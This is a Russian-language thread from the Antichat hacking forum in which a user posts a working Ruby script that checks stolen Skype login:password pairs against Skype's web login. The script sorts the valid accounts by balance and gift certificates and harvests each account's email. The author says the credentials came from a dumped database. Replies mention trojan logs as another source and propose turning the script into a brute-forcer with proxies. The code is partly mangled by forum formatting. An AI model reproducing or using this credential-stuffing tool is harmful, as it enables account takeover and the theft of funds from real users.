Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   rSkypeChecker by geezer.code (https://forum.antichat.xyz/showthread.php?t=71037)

geezer.code 21.05.2008 16:15

rSkypeChecker by geezer.code
 
Привет всем!
Нет на нашем форуме раздела про Руби поэтому пишу в раздел где есть скриптовые языки.

intro

Как-то раз обломился мне очень большой дамп базы, где пользователи оставляли свой skype-name. После экстрагирования логинов и пассов набрался список ~ 1500 записей. Нужно было узнать, подходит ли пароль, и если да, то есть ли деньги на балансе. Чекать их вручную - труд долгий и нудный.
Я порылся в инете и ничего похожего для этой задачи не нашел, только на forum.zloy.org было упоминание о начатой разработке, но результатов не было.
Собственно именно поэтому за час, на коленке был сооружен этот скрипт.

Описание

Скрипт подключается к вэб-интерфесу скайпа, и собирает данные об аккаунте.

Для запуска скрипта требуется установленный интерпретатор Ruby 1.8.* и прямые руки.

Сохраняем скрипт в файл rSkype.rb, в ту же папку складываем source.txt(файл где сложены аккаунты которые надо проверить в формате login:password, каждый с новой строки).
Запускаем его, например так:
#ruby rSkype.rb

на выходе получаем 3 файла:
valid_gift.txt - с гифт сертификатами
valid_balance.txt - есть деньги на балансе
valid - просто подходит пасс.

в коде много каментов)), если захотите на любой другой яп портировать.
PHP код:

#! /usr/bin/ruby
#==================================================
#
#    rSkypeChecker by geezer.code
#    
#    Author:        geezer.code    
#    Version:        0.0.1
#    Date:        2008/05/21
#
#==================================================

require 'net/http'
require 'net/https'

#распечатка резалтов
def print_result(targetsource)
  
fresult File.new(target"w"
  default = 
$stdout
  $stdout 
fresult          
  source
.each {|r
    
puts r
  
}
  
$stdout = default                     
  
fresult.close
end

#настраиваем соединение и включаем SSL
http Net::HTTP.new('secure.skype.com'443)
http.use_ssl true
http
.verify_mode OpenSSL::SSL::VERIFY_NONE
path 
'/store/member/login.html'

valid=Array.new
valid_balance=Array.new
valid_gift=Array.new
fsource File.open("source.txt")
begin
  
while (value fsource.readline)
    if 
value.any?
      
#value - это данные аккаунта
      
valuevalue.chomp
      
# тут получаем первоначальную куку
      
respdata http.get(pathnil)

      
# устанавливаем куку
      
cookie resp.response['set-cookie']

      
# Данные для post-запроса
      
loginpassword=value.split(":")
      
data "username=#{login}&password=#{password}"
      
headers = {
        
'Cookie' => cookie,
        
'Referer' => "https://secure.skype.com/store/myaccount",
        
'Content-Type' => 'application/x-www-form-urlencoded'
      
}

      
#сам post-запрос
      
respdata http.post(pathdataheaders)

      
# 302 - редирект на страницу аккаунта
      # может быть ищо 200 - не залогинило.
      
if resp.code == '302'
        
#заходим на страницу аккаунта
        
resp=http.get(resp['location'],headers)
        
#ищем строку про гифт-серты
        
gift_cert resp.body.scan(%r{<a href="https://secure.skype.com/store/buy/giftcertificates.html">Skype Gift Certificates</a>}m)
        
#ищем строку с балансом
        
balance resp.body.scan(%r{<strong id="skypeout-credit-balance">(.*?)</strong>}m)
        
#e-mail может когда-нить пригодится
        
email resp.body.scan(%r{<font id="current-email">(.*?)</font>}m)
  
        
        
#сортируем гифт отдельно, пустые отдельно, балансы отдельно        
        
if gift_cert.any?        
          
valid_gift<<"#{value} : #{(email.to_s.gsub(/<[^>]*>/,"") if email.any?)}\
 #{balance.to_s.gsub(/<[^>]*>/,"") if balance} Gift" 
        
else
          if 
balance.any?
            
valid_balance<<"#{value} : #{(email.to_s.gsub(/<[^>]*>/,"") if email.any?)}\
 #{balance.to_s.gsub(/<[^>]*>/,"")}" 
          
else
            
valid<<"#{value} : #{(email.to_s.gsub(/<[^>]*>/,"") if email.any?)}" 
          
end
        end
      end
    end
  end
rescue EOFError
  fsource
.close
end

#выводим то што начекали в файл
print_result("valid.txt",valid)
print_result("valid_balance.txt",valid_balance)
print_result("valid_gift.txt",valid_gift

метки: Чекер Скайп аккаунтов, Skype Checker, ruby, руби.


Ссылки по теме:

http://www.ruby-lang.org/en/ -тут можно скачать интерпретатор Руби

http://skype.com - если кто не слышал про скайп )).

P.S. в принимаются замечания и пожелания.
идею можно развить, и модифицировать его под брутер(потоки,прокси итд).
Если это актуально, начну работать над брутером.

P.P.S скрипт цже можно использовать как брутер - достаточно нагенерить список логин - пароль, но всьо же он не оптимизирован.если на пытаться брутить 1 логин - бан. (как и сказал VP$)

vp$ 21.05.2008 17:10

а как на счет бана, после 5 неудачных попыток?

geezer.code 21.05.2008 17:20

Цитата:

Сообщение от vp$
а как на счет бана, после 5 неудачных попыток?

бан при попытках на один и тот же логин ?
не мой случай. ситуация другая... логины-то -- уникальные.

опять-таки этот скрипт писался не как брутер, а как чекер ))

mixdw 21.05.2008 20:47

а де взять логин:пасс ? :\

geezer.code 21.05.2008 20:56

Цитата:

Сообщение от mixdw
а де взять логин:пасс ? :\

в моем случае это был дамп бд, но вполне возможно с отчетов троев.


Время: 06:59